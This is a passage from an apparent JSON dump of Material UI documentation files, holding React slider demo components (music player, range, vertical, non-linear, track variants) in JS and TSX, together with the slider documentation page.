'relative',\n  zIndex: 1,\n  backgroundColor: 'rgba(255,255,255,0.4)',\n  backdropFilter: 'blur(40px)',\n  ...theme.applyStyles('dark', {\n    backgroundColor: 'rgba(0,0,0,0.6)',\n  }),\n}));\n\nconst CoverImage = styled('div')({\n  width: 100,\n  height: 100,\n  objectFit: 'cover',\n  overflow: 'hidden',\n  flexShrink: 0,\n  borderRadius: 8,\n  backgroundColor: 'rgba(0,0,0,0.08)',\n  '& > img': {\n    width: '100%',\n  },\n});\n\nconst TinyText = styled(Typography)({\n  fontSize: '0.75rem',\n  opacity: 0.38,\n  fontWeight: 500,\n  letterSpacing: 0.2,\n});\n\nexport default function MusicPlayerSlider() {\n  const duration = 200; // seconds\n  const [position, setPosition] = React.useState(32);\n  const [paused, setPaused] = React.useState(false);\n  function formatDuration(value) {\n    const minute = Math.floor(value / 60);\n    const secondLeft = value - minute * 60;\n    return `${minute}:${secondLeft < 10 ? `0${secondLeft}` : secondLeft}`;\n  }\n  return (\n    <Box sx={{ width: '100%', overflow: 'hidden', position: 'relative', p: 3 }}>\n      <Widget>\n        <Box sx={{ display: 'flex', alignItems: 'center' }}>\n          <CoverImage>\n            <img\n              alt=\"can't win - Chilling Sunday\"\n              src=\"/static/images/sliders/chilling-sunday.jpg\"\n            />\n          </CoverImage>\n          <Box sx={{ ml: 1.5, minWidth: 0 }}>\n            <Typography\n              variant=\"caption\"\n              sx={{ color: 'text.secondary', fontWeight: 500 }}\n            >\n              Jun Pulse\n            </Typography>\n            <Typography noWrap>\n              <b>คนเก่าเขาทำไว้ดี (Can&apos;t win)</b>\n            </Typography>\n            <Typography noWrap sx={{ letterSpacing: -0.25 }}>\n              Chilling Sunday &mdash; คนเก่าเขาทำไว้ดี\n            </Typography>\n          </Box>\n        </Box>\n        <Slider\n          aria-label=\"time-indicator\"\n          size=\"small\"\n          value={position}\n          min={0}\n          step={1}\n          max={duration}\n          onChange={(_, value) => setPosition(value)}\n          sx={(t) => ({\n            color: 'rgba(0,0,0,0.87)',\n            height: 4,\n            '& .MuiSlider-thumb': {\n              width: 8,\n              height: 8,\n              transition: '0.3s cubic-bezier(.47,1.64,.41,.8)',\n              '&::before': {\n                boxShadow: '0 2px 12px 0 rgba(0,0,0,0.4)',\n              },\n              '&:hover, &.Mui-focusVisible': {\n                boxShadow: `0px 0px 0px 8px ${'rgb(0 0 0 / 16%)'}`,\n                ...t.applyStyles('dark', {\n                  boxShadow: `0px 0px 0px 8px ${'rgb(255 255 255 / 16%)'}`,\n                }),\n              },\n              '&.Mui-active': {\n                width: 20,\n                height: 20,\n              },\n            },\n            '& .MuiSlider-rail': {\n              opacity: 0.28,\n            },\n            ...t.applyStyles('dark', {\n              color: '#fff',\n            }),\n          })}\n        />\n        <Box\n          sx={{\n            display: 'flex',\n            alignItems: 'center',\n            justifyContent: 'space-between',\n            mt: -2,\n          }}\n        >\n          <TinyText>{formatDuration(position)}</TinyText>\n          <TinyText>-{formatDuration(duration - position)}</TinyText>\n        </Box>\n        <Box\n          sx={(theme) => ({\n            display: 'flex',\n            alignItems: 'center',\n            justifyContent: 'center',\n            mt: -1,\n            '& svg': {\n              color: '#000',\n              ...theme.applyStyles('dark', {\n                color: '#fff',\n              }),\n            },\n          })}\n        >\n          <IconButton aria-label=\"previous song\">\n            <FastRewindRounded fontSize=\"large\" />\n          </IconButton>\n          <IconButton\n            aria-label={paused ? 'play' : 'pause'}\n            onClick={() => setPaused(!paused)}\n          >\n            {paused ? (\n              <PlayArrowRounded sx={{ fontSize: '3rem' }} />\n            ) : (\n              <PauseRounded sx={{ fontSize: '3rem' }} />\n            )}\n          </IconButton>\n          <IconButton aria-label=\"next song\">\n            <FastForwardRounded fontSize=\"large\" />\n          </IconButton>\n        </Box>\n        <Stack\n          spacing={2}\n          direction=\"row\"\n          sx={(theme) => ({\n            alignItems: 'center',\n            mb: 1,\n            px: 1,\n            '& > svg': {\n              color: 'rgba(0,0,0,0.4)',\n              ...theme.applyStyles('dark', {\n                color: 'rgba(255,255,255,0.4)',\n              }),\n            },\n          })}\n        >\n          <VolumeDownRounded />\n          <Slider\n            aria-label=\"Volume\"\n            defaultValue={30}\n            sx={(t) => ({\n              color: 'rgba(0,0,0,0.87)',\n              '& .MuiSlider-track': {\n                border: 'none',\n              },\n              '& .MuiSlider-thumb': {\n                width: 24,\n                height: 24,\n                backgroundColor: '#fff',\n                '&::before': {\n                  boxShadow: '0 4px 8px rgba(0,0,0,0.4)',\n                },\n                '&:hover, &.Mui-focusVisible, &.Mui-active': {\n                  boxShadow: 'none',\n                },\n              },\n              ...t.applyStyles('dark', {\n                color: '#fff',\n              }),\n            })}\n          />\n          <VolumeUpRounded />\n        </Stack>\n      </Widget>\n      <WallPaper />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/MusicPlayerSlider.tsx",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Slider from '@mui/material/Slider';\nimport IconButton from '@mui/material/IconButton';\nimport Stack from '@mui/material/Stack';\nimport PauseRounded from '@mui/icons-material/PauseRounded';\nimport PlayArrowRounded from '@mui/icons-material/PlayArrowRounded';\nimport FastForwardRounded from '@mui/icons-material/FastForwardRounded';\nimport FastRewindRounded from '@mui/icons-material/FastRewindRounded';\nimport VolumeUpRounded from '@mui/icons-material/VolumeUpRounded';\nimport VolumeDownRounded from '@mui/icons-material/VolumeDownRounded';\n\nconst WallPaper = styled('div')({\n  position: 'absolute',\n  width: '100%',\n  height: '100%',\n  top: 0,\n  left: 0,\n  overflow: 'hidden',\n  background: 'linear-gradient(rgb(255, 38, 142) 0%, rgb(255, 105, 79) 100%)',\n  transition: 'all 500ms cubic-bezier(0.175, 0.885, 0.32, 1.275) 0s',\n  '&::before': {\n    content: '\"\"',\n    width: '140%',\n    height: '140%',\n    position: 'absolute',\n    top: '-40%',\n    right: '-50%',\n    background:\n      'radial-gradient(at center center, rgb(62, 79, 249) 0%, rgba(62, 79, 249, 0) 64%)',\n  },\n  '&::after': {\n    content: '\"\"',\n    width: '140%',\n    height: '140%',\n    position: 'absolute',\n    bottom: '-50%',\n    left: '-30%',\n    background:\n      'radial-gradient(at center center, rgb(247, 237, 225) 0%, rgba(247, 237, 225, 0) 70%)',\n    transform: 'rotate(30deg)',\n  },\n});\n\nconst Widget = styled('div')(({ theme }) => ({\n  padding: 16,\n  borderRadius: 16,\n  width: 343,\n  maxWidth: '100%',\n  margin: 'auto',\n  position: 'relative',\n  zIndex: 1,\n  backgroundColor: 'rgba(255,255,255,0.4)',\n  backdropFilter: 'blur(40px)',\n  ...theme.applyStyles('dark', {\n    backgroundColor: 'rgba(0,0,0,0.6)',\n  }),\n}));\n\nconst CoverImage = styled('div')({\n  width: 100,\n  height: 100,\n  objectFit: 'cover',\n  overflow: 'hidden',\n  flexShrink: 0,\n  borderRadius: 8,\n  backgroundColor: 'rgba(0,0,0,0.08)',\n  '& > img': {\n    width: '100%',\n  },\n});\n\nconst TinyText = styled(Typography)({\n  fontSize: '0.75rem',\n  opacity: 0.38,\n  fontWeight: 500,\n  letterSpacing: 0.2,\n});\n\nexport default function MusicPlayerSlider() {\n  const duration = 200; // seconds\n  const [position, setPosition] = React.useState(32);\n  const [paused, setPaused] = React.useState(false);\n  function formatDuration(value: number) {\n    const minute = Math.floor(value / 60);\n    const secondLeft = value - minute * 60;\n    return `${minute}:${secondLeft < 10 ? `0${secondLeft}` : secondLeft}`;\n  }\n  return (\n    <Box sx={{ width: '100%', overflow: 'hidden', position: 'relative', p: 3 }}>\n      <Widget>\n        <Box sx={{ display: 'flex', alignItems: 'center' }}>\n          <CoverImage>\n            <img\n              alt=\"can't win - Chilling Sunday\"\n              src=\"/static/images/sliders/chilling-sunday.jpg\"\n            />\n          </CoverImage>\n          <Box sx={{ ml: 1.5, minWidth: 0 }}>\n            <Typography\n              variant=\"caption\"\n              sx={{ color: 'text.secondary', fontWeight: 500 }}\n            >\n              Jun Pulse\n            </Typography>\n            <Typography noWrap>\n              <b>คนเก่าเขาทำไว้ดี (Can&apos;t win)</b>\n            </Typography>\n            <Typography noWrap sx={{ letterSpacing: -0.25 }}>\n              Chilling Sunday &mdash; คนเก่าเขาทำไว้ดี\n            </Typography>\n          </Box>\n        </Box>\n        <Slider\n          aria-label=\"time-indicator\"\n          size=\"small\"\n          value={position}\n          min={0}\n          step={1}\n          max={duration}\n          onChange={(_, value) => setPosition(value)}\n          sx={(t) => ({\n            color: 'rgba(0,0,0,0.87)',\n            height: 4,\n            '& .MuiSlider-thumb': {\n              width: 8,\n              height: 8,\n              transition: '0.3s cubic-bezier(.47,1.64,.41,.8)',\n              '&::before': {\n                boxShadow: '0 2px 12px 0 rgba(0,0,0,0.4)',\n              },\n              '&:hover, &.Mui-focusVisible': {\n                boxShadow: `0px 0px 0px 8px ${'rgb(0 0 0 / 16%)'}`,\n                ...t.applyStyles('dark', {\n                  boxShadow: `0px 0px 0px 8px ${'rgb(255 255 255 / 16%)'}`,\n                }),\n              },\n              '&.Mui-active': {\n                width: 20,\n                height: 20,\n              },\n            },\n            '& .MuiSlider-rail': {\n              opacity: 0.28,\n            },\n            ...t.applyStyles('dark', {\n              color: '#fff',\n            }),\n          })}\n        />\n        <Box\n          sx={{\n            display: 'flex',\n            alignItems: 'center',\n            justifyContent: 'space-between',\n            mt: -2,\n          }}\n        >\n          <TinyText>{formatDuration(position)}</TinyText>\n          <TinyText>-{formatDuration(duration - position)}</TinyText>\n        </Box>\n        <Box\n          sx={(theme) => ({\n            display: 'flex',\n            alignItems: 'center',\n            justifyContent: 'center',\n            mt: -1,\n            '& svg': {\n              color: '#000',\n              ...theme.applyStyles('dark', {\n                color: '#fff',\n              }),\n            },\n          })}\n        >\n          <IconButton aria-label=\"previous song\">\n            <FastRewindRounded fontSize=\"large\" />\n          </IconButton>\n          <IconButton\n            aria-label={paused ? 'play' : 'pause'}\n            onClick={() => setPaused(!paused)}\n          >\n            {paused ? (\n              <PlayArrowRounded sx={{ fontSize: '3rem' }} />\n            ) : (\n              <PauseRounded sx={{ fontSize: '3rem' }} />\n            )}\n          </IconButton>\n          <IconButton aria-label=\"next song\">\n            <FastForwardRounded fontSize=\"large\" />\n          </IconButton>\n        </Box>\n        <Stack\n          spacing={2}\n          direction=\"row\"\n          sx={(theme) => ({\n            alignItems: 'center',\n            mb: 1,\n            px: 1,\n            '& > svg': {\n              color: 'rgba(0,0,0,0.4)',\n              ...theme.applyStyles('dark', {\n                color: 'rgba(255,255,255,0.4)',\n              }),\n            },\n          })}\n        >\n          <VolumeDownRounded />\n          <Slider\n            aria-label=\"Volume\"\n            defaultValue={30}\n            sx={(t) => ({\n              color: 'rgba(0,0,0,0.87)',\n              '& .MuiSlider-track': {\n                border: 'none',\n              },\n              '& .MuiSlider-thumb': {\n                width: 24,\n                height: 24,\n                backgroundColor: '#fff',\n                '&::before': {\n                  boxShadow: '0 4px 8px rgba(0,0,0,0.4)',\n                },\n                '&:hover, &.Mui-focusVisible, &.Mui-active': {\n                  boxShadow: 'none',\n                },\n              },\n              ...t.applyStyles('dark', {\n                color: '#fff',\n              }),\n            })}\n          />\n          <VolumeUpRounded />\n        </Stack>\n      </Widget>\n      <WallPaper />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/NonLinearSlider.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Slider from '@mui/material/Slider';\n\nfunction valueLabelFormat(value) {\n  const units = ['KB', 'MB', 'GB', 'TB'];\n\n  let unitIndex = 0;\n  let scaledValue = value;\n\n  while (scaledValue >= 1024 && unitIndex < units.length - 1) {\n    unitIndex += 1;\n    scaledValue /= 1024;\n  }\n\n  return `${scaledValue} ${units[unitIndex]}`;\n}\n\nfunction calculateValue(value) {\n  return 2 ** value;\n}\n\nexport default function NonLinearSlider() {\n  const [value, setValue] = React.useState(10);\n\n  const handleChange = (event, newValue) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ width: 250 }}>\n      <Typography id=\"non-linear-slider\" gutterBottom>\n        Storage: {valueLabelFormat(calculateValue(value))}\n      </Typography>\n      <Slider\n        value={value}\n        min={5}\n        step={1}\n        max={30}\n        scale={calculateValue}\n        getAriaValueText={valueLabelFormat}\n        valueLabelFormat={valueLabelFormat}\n        onChange={handleChange}\n        valueLabelDisplay=\"auto\"\n        aria-labelledby=\"non-linear-slider\"\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/NonLinearSlider.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Slider from '@mui/material/Slider';\n\nfunction valueLabelFormat(value: number) {\n  const units = ['KB', 'MB', 'GB', 'TB'];\n\n  let unitIndex = 0;\n  let scaledValue = value;\n\n  while (scaledValue >= 1024 && unitIndex < units.length - 1) {\n    unitIndex += 1;\n    scaledValue /= 1024;\n  }\n\n  return `${scaledValue} ${units[unitIndex]}`;\n}\n\nfunction calculateValue(value: number) {\n  return 2 ** value;\n}\n\nexport default function NonLinearSlider() {\n  const [value, setValue] = React.useState<number>(10);\n\n  const handleChange = (event: Event, newValue: number) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ width: 250 }}>\n      <Typography id=\"non-linear-slider\" gutterBottom>\n        Storage: {valueLabelFormat(calculateValue(value))}\n      </Typography>\n      <Slider\n        value={value}\n        min={5}\n        step={1}\n        max={30}\n        scale={calculateValue}\n        getAriaValueText={valueLabelFormat}\n        valueLabelFormat={valueLabelFormat}\n        onChange={handleChange}\n        valueLabelDisplay=\"auto\"\n        aria-labelledby=\"non-linear-slider\"\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/NonLinearSlider.tsx.preview",
    "content": "<Typography id=\"non-linear-slider\" gutterBottom>\n  Storage: {valueLabelFormat(calculateValue(value))}\n</Typography>\n<Slider\n  value={value}\n  min={5}\n  step={1}\n  max={30}\n  scale={calculateValue}\n  getAriaValueText={valueLabelFormat}\n  valueLabelFormat={valueLabelFormat}\n  onChange={handleChange}\n  valueLabelDisplay=\"auto\"\n  aria-labelledby=\"non-linear-slider\"\n/>"
  },
  {
    "path": "docs/data/material/components/slider/RangeSlider.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Slider from '@mui/material/Slider';\n\nfunction valuetext(value) {\n  return `${value}°C`;\n}\n\nexport default function RangeSlider() {\n  const [value, setValue] = React.useState([20, 37]);\n\n  const handleChange = (event, newValue) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ width: 300 }}>\n      <Slider\n        getAriaLabel={() => 'Temperature range'}\n        value={value}\n        onChange={handleChange}\n        valueLabelDisplay=\"auto\"\n        getAriaValueText={valuetext}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/RangeSlider.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Slider from '@mui/material/Slider';\n\nfunction valuetext(value: number) {\n  return `${value}°C`;\n}\n\nexport default function RangeSlider() {\n  const [value, setValue] = React.useState<number[]>([20, 37]);\n\n  const handleChange = (event: Event, newValue: number[]) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ width: 300 }}>\n      <Slider\n        getAriaLabel={() => 'Temperature range'}\n        value={value}\n        onChange={handleChange}\n        valueLabelDisplay=\"auto\"\n        getAriaValueText={valuetext}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/RangeSlider.tsx.preview",
    "content": "<Slider\n  getAriaLabel={() => 'Temperature range'}\n  value={value}\n  onChange={handleChange}\n  valueLabelDisplay=\"auto\"\n  getAriaValueText={valuetext}\n/>"
  },
  {
    "path": "docs/data/material/components/slider/SliderSizes.js",
    "content": "import Box from '@mui/material/Box';\nimport Slider from '@mui/material/Slider';\n\nexport default function SliderSizes() {\n  return (\n    <Box sx={{ width: 300 }}>\n      <Slider\n        size=\"small\"\n        defaultValue={70}\n        aria-label=\"Small\"\n        valueLabelDisplay=\"auto\"\n      />\n      <Slider defaultValue={50} aria-label=\"Default\" valueLabelDisplay=\"auto\" />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/SliderSizes.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Slider from '@mui/material/Slider';\n\nexport default function SliderSizes() {\n  return (\n    <Box sx={{ width: 300 }}>\n      <Slider\n        size=\"small\"\n        defaultValue={70}\n        aria-label=\"Small\"\n        valueLabelDisplay=\"auto\"\n      />\n      <Slider defaultValue={50} aria-label=\"Default\" valueLabelDisplay=\"auto\" />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/SliderSizes.tsx.preview",
    "content": "<Slider\n  size=\"small\"\n  defaultValue={70}\n  aria-label=\"Small\"\n  valueLabelDisplay=\"auto\"\n/>\n<Slider defaultValue={50} aria-label=\"Default\" valueLabelDisplay=\"auto\" />"
  },
  {
    "path": "docs/data/material/components/slider/TrackFalseSlider.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Slider from '@mui/material/Slider';\n\nconst Separator = styled('div')(\n  ({ theme }) => `\n  height: ${theme.spacing(3)};\n`,\n);\n\nconst marks = [\n  {\n    value: 0,\n    label: '0°C',\n  },\n  {\n    value: 20,\n    label: '20°C',\n  },\n  {\n    value: 37,\n    label: '37°C',\n  },\n  {\n    value: 100,\n    label: '100°C',\n  },\n];\n\nfunction valuetext(value) {\n  return `${value}°C`;\n}\n\nexport default function TrackFalseSlider() {\n  return (\n    <Box sx={{ width: 250 }}>\n      <Typography id=\"track-false-slider\" gutterBottom>\n        Removed track\n      </Typography>\n      <Slider\n        track={false}\n        aria-labelledby=\"track-false-slider\"\n        getAriaValueText={valuetext}\n        defaultValue={30}\n        marks={marks}\n      />\n      <Separator />\n      <Typography id=\"track-false-range-slider\" gutterBottom>\n        Removed track range slider\n      </Typography>\n      <Slider\n        track={false}\n        aria-labelledby=\"track-false-range-slider\"\n        getAriaValueText={valuetext}\n        defaultValue={[20, 37, 50]}\n        marks={marks}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/TrackFalseSlider.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Slider from '@mui/material/Slider';\n\nconst Separator = styled('div')(\n  ({ theme }) => `\n  height: ${theme.spacing(3)};\n`,\n);\n\nconst marks = [\n  {\n    value: 0,\n    label: '0°C',\n  },\n  {\n    value: 20,\n    label: '20°C',\n  },\n  {\n    value: 37,\n    label: '37°C',\n  },\n  {\n    value: 100,\n    label: '100°C',\n  },\n];\n\nfunction valuetext(value: number) {\n  return `${value}°C`;\n}\n\nexport default function TrackFalseSlider() {\n  return (\n    <Box sx={{ width: 250 }}>\n      <Typography id=\"track-false-slider\" gutterBottom>\n        Removed track\n      </Typography>\n      <Slider\n        track={false}\n        aria-labelledby=\"track-false-slider\"\n        getAriaValueText={valuetext}\n        defaultValue={30}\n        marks={marks}\n      />\n      <Separator />\n      <Typography id=\"track-false-range-slider\" gutterBottom>\n        Removed track range slider\n      </Typography>\n      <Slider\n        track={false}\n        aria-labelledby=\"track-false-range-slider\"\n        getAriaValueText={valuetext}\n        defaultValue={[20, 37, 50]}\n        marks={marks}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/TrackInvertedSlider.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Slider from '@mui/material/Slider';\n\nconst Separator = styled('div')(\n  ({ theme }) => `\n  height: ${theme.spacing(3)};\n`,\n);\n\nconst marks = [\n  {\n    value: 0,\n    label: '0°C',\n  },\n  {\n    value: 20,\n    label: '20°C',\n  },\n  {\n    value: 37,\n    label: '37°C',\n  },\n  {\n    value: 100,\n    label: '100°C',\n  },\n];\n\nfunction valuetext(value) {\n  return `${value}°C`;\n}\n\nexport default function TrackInvertedSlider() {\n  return (\n    <Box sx={{ width: 250 }}>\n      <Typography id=\"track-inverted-slider\" gutterBottom>\n        Inverted track\n      </Typography>\n      <Slider\n        track=\"inverted\"\n        aria-labelledby=\"track-inverted-slider\"\n        getAriaValueText={valuetext}\n        defaultValue={30}\n        marks={marks}\n      />\n      <Separator />\n      <Typography id=\"track-inverted-range-slider\" gutterBottom>\n        Inverted track range\n      </Typography>\n      <Slider\n        track=\"inverted\"\n        aria-labelledby=\"track-inverted-range-slider\"\n        getAriaValueText={valuetext}\n        defaultValue={[20, 37]}\n        marks={marks}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/TrackInvertedSlider.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Slider from '@mui/material/Slider';\n\nconst Separator = styled('div')(\n  ({ theme }) => `\n  height: ${theme.spacing(3)};\n`,\n);\n\nconst marks = [\n  {\n    value: 0,\n    label: '0°C',\n  },\n  {\n    value: 20,\n    label: '20°C',\n  },\n  {\n    value: 37,\n    label: '37°C',\n  },\n  {\n    value: 100,\n    label: '100°C',\n  },\n];\n\nfunction valuetext(value: number) {\n  return `${value}°C`;\n}\n\nexport default function TrackInvertedSlider() {\n  return (\n    <Box sx={{ width: 250 }}>\n      <Typography id=\"track-inverted-slider\" gutterBottom>\n        Inverted track\n      </Typography>\n      <Slider\n        track=\"inverted\"\n        aria-labelledby=\"track-inverted-slider\"\n        getAriaValueText={valuetext}\n        defaultValue={30}\n        marks={marks}\n      />\n      <Separator />\n      <Typography id=\"track-inverted-range-slider\" gutterBottom>\n        Inverted track range\n      </Typography>\n      <Slider\n        track=\"inverted\"\n        aria-labelledby=\"track-inverted-range-slider\"\n        getAriaValueText={valuetext}\n        defaultValue={[20, 37]}\n        marks={marks}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/VerticalSlider.js",
    "content": "import Stack from '@mui/material/Stack';\nimport Slider from '@mui/material/Slider';\n\nexport default function VerticalSlider() {\n  return (\n    <Stack sx={{ height: 300 }} spacing={1} direction=\"row\">\n      <Slider\n        aria-label=\"Temperature\"\n        orientation=\"vertical\"\n        getAriaValueText={getAriaValueText}\n        valueLabelDisplay=\"auto\"\n        defaultValue={30}\n      />\n      <Slider\n        aria-label=\"Temperature\"\n        orientation=\"vertical\"\n        defaultValue={30}\n        valueLabelDisplay=\"auto\"\n        disabled\n      />\n      <Slider\n        getAriaLabel={() => 'Temperature'}\n        orientation=\"vertical\"\n        getAriaValueText={getAriaValueText}\n        defaultValue={[20, 37]}\n        valueLabelDisplay=\"auto\"\n        marks={marks}\n      />\n    </Stack>\n  );\n}\n\nfunction getAriaValueText(value) {\n  return `${value}°C`;\n}\n\nconst marks = [\n  {\n    value: 0,\n    label: '0°C',\n  },\n  {\n    value: 20,\n    label: '20°C',\n  },\n  {\n    value: 37,\n    label: '37°C',\n  },\n  {\n    value: 100,\n    label: '100°C',\n  },\n];\n"
  },
  {
    "path": "docs/data/material/components/slider/VerticalSlider.tsx",
    "content": "import Stack from '@mui/material/Stack';\nimport Slider from '@mui/material/Slider';\n\nexport default function VerticalSlider() {\n  return (\n    <Stack sx={{ height: 300 }} spacing={1} direction=\"row\">\n      <Slider\n        aria-label=\"Temperature\"\n        orientation=\"vertical\"\n        getAriaValueText={getAriaValueText}\n        valueLabelDisplay=\"auto\"\n        defaultValue={30}\n      />\n      <Slider\n        aria-label=\"Temperature\"\n        orientation=\"vertical\"\n        defaultValue={30}\n        valueLabelDisplay=\"auto\"\n        disabled\n      />\n      <Slider\n        getAriaLabel={() => 'Temperature'}\n        orientation=\"vertical\"\n        getAriaValueText={getAriaValueText}\n        defaultValue={[20, 37]}\n        valueLabelDisplay=\"auto\"\n        marks={marks}\n      />\n    </Stack>\n  );\n}\n\nfunction getAriaValueText(value: number) {\n  return `${value}°C`;\n}\n\nconst marks = [\n  {\n    value: 0,\n    label: '0°C',\n  },\n  {\n    value: 20,\n    label: '20°C',\n  },\n  {\n    value: 37,\n    label: '37°C',\n  },\n  {\n    value: 100,\n    label: '100°C',\n  },\n];\n"
  },
  {
    "path": "docs/data/material/components/slider/slider.md",
    "content": "---\nproductId: material-ui\ntitle: React Slider component\ncomponents: Slider\ngithubLabel: 'scope: slider'\nmaterialDesign: https://m2.material.io/components/sliders\nwaiAria: https://www.w3.org/WAI/ARIA/apg/patterns/slider-multithumb/\ngithubSource: packages/mui-material/src/Slider\n---\n\n# Slider\n\n<p class=\"description\">Sliders allow users to make selections from a range of values.</p>\n\nSliders reflect a range of values along a bar, from which users may select a single value. They are ideal for adjusting settings such as volume, brightness, or applying image filters.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Continuous sliders\n\nContinuous sliders allow users to select a value along a subjective range.\n\n{{\"demo\": \"ContinuousSlider.js\"}}\n\n## Sizes\n\nFor smaller slider, use the prop `size=\"small\"`.\n\n{{\"demo\": \"SliderSizes.js\"}}\n\n## Discrete sliders\n\nDiscrete sliders can be adjusted to a specific value by referencing its value indicator.\nYou can generate a mark for each step with `marks={true}`.\n\n{{\"demo\": \"DiscreteSlider.js\"}}\n\n### Small steps\n\nYou can change the default step increment.\nMake sure to adjust the `shiftStep` prop (the granularity with which the slider can step when using Page Up/Down or Shift + Arrow Up/Down) to a value divisible by the `step`.\n\n{{\"demo\": \"DiscreteSliderSteps.js\"}}\n\n### Custom marks\n\nYou can have custom marks by providing a rich array to the `marks` prop.\n\n{{\"demo\": \"DiscreteSliderMarks.js\"}}\n\n### Restricted values\n\nYou can restrict the selectable values to those provided with the `marks` prop with `step={null}`.\n\n{{\"demo\": \"DiscreteSliderValues.js\"}}\n\n### Label always visible\n\nYou can force the thumb label to be always visible with `valueLabelDisplay=\"on\"`.\n\n{{\"demo\": \"DiscreteSliderLabel.js\"}}\n\n## Range slider\n\nThe slider can be used to set the start and end of a range by supplying an array of values to the `value` prop.\n\n{{\"demo\": \"RangeSlider.js\"}}\n\n### Minimum distance\n\nYou can enforce a minimum distance between values in the `onChange` event handler.\nBy default, when you move the pointer over a thumb while dragging another thumb, the active thumb will swap to the hovered thumb. You can disable this behavior with the `disableSwap` prop.\nIf you want the range to shift when reaching minimum distance, you can utilize the `activeThumb` parameter in `onChange`.\n\n{{\"demo\": \"MinimumDistanceSlider.js\"}}\n\n## Slider with input field\n\nIn this example, an input allows a discrete value to be set.\n\n{{\"demo\": \"InputSlider.js\"}}\n\n## Color\n\n{{\"demo\": \"ColorSlider.js\"}}\n\n## Customization\n\nHere are some examples of customizing the component.\nYou can learn more about this in the [overrides documentation page](/material-ui/customization/how-to-customize/).\n\n{{\"demo\": \"CustomizedSlider.js\"}}\n\n### Music player\n\n{{\"demo\": \"MusicPlayerSlider.js\", \"bg\": \"inline\"}}\n\n## Vertical sliders\n\nSet the `orientation` prop to `\"vertical\"` to create vertical sliders. The thumb will track vertical movement instead of horizontal movement.\n\n{{\"demo\": \"VerticalSlider.js\"}}\n\n:::warning\nChrome versions below 124 implement `aria-orientation` incorrectly for vertical sliders and expose them as `'horizontal'` in the accessibility tree. ([Chromium issue #40736841](https://issues.chromium.org/issues/40736841))\n\nThe `-webkit-appearance: slider-vertical` CSS property can be used to correct this for these older versions, with the trade-off of causing a console warning in newer Chrome versions:\n\n```css\n.MuiSlider-thumb input {\n  -webkit-appearance: slider-vertical;\n}\n```\n\n:::\n\n## Marks placement\n\nYou can customize your slider by adding and repositioning marks for minimum and maximum values.\n\n{{\"demo\": \"CustomMarks.js\"}}\n\n## Track\n\nThe track shows the range available for user selection.\n\n### Removed track\n\nThe track can be turned off with `track={false}`.\n\n{{\"demo\": \"TrackFalseSlider.js\"}}\n\n### Inverted track\n\nThe track can be inverted with `track=\"inverted\"`.\n\n{{\"demo\": \"TrackInvertedSlider.js\"}}\n\n## Non-linear scale\n\nYou can use the `scale` prop to represent the `value` on a different scale.\n\nIn the following demo, the value _x_ represents the value _2^x_.\nIncreasing _x_ by one increases the represented value by factor _2_.\n\n{{\"demo\": \"NonLinearSlider.js\"}}\n\n## Accessibility\n\n(WAI-ARIA: https://www.w3.org/WAI/ARIA/apg/patterns/slider-multithumb/)\n\nThe component handles most of the work necessary to make it accessible.\nHowever, you need to make sure that:\n\n- Each thumb has a user-friendly label (`aria-label`, `aria-labelledby` or `getAriaLabel` prop).\n- Each thumb has a user-friendly text for its current value.\n  This is not required if the value matches the semantics of the label.\n  You can change the name with the `getAriaValueText` or `aria-valuetext` prop.\n"
  },
  {
    "path": "docs/data/material/components/snackbars/AutohideSnackbar.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Snackbar from '@mui/material/Snackbar';\n\nexport default function AutohideSnackbar() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClick = () => {\n    setOpen(true);\n  };\n\n  const handleClose = (event, reason) => {\n    if (reason === 'clickaway') {\n      return;\n    }\n\n    setOpen(false);\n  };\n\n  return (\n    <div>\n      <Button onClick={handleClick}>Open Snackbar</Button>\n      <Snackbar\n        open={open}\n        autoHideDuration={5000}\n        onClose={handleClose}\n        message=\"This Snackbar will be dismissed in 5 seconds.\"\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/snackbars/AutohideSnackbar.tsx",
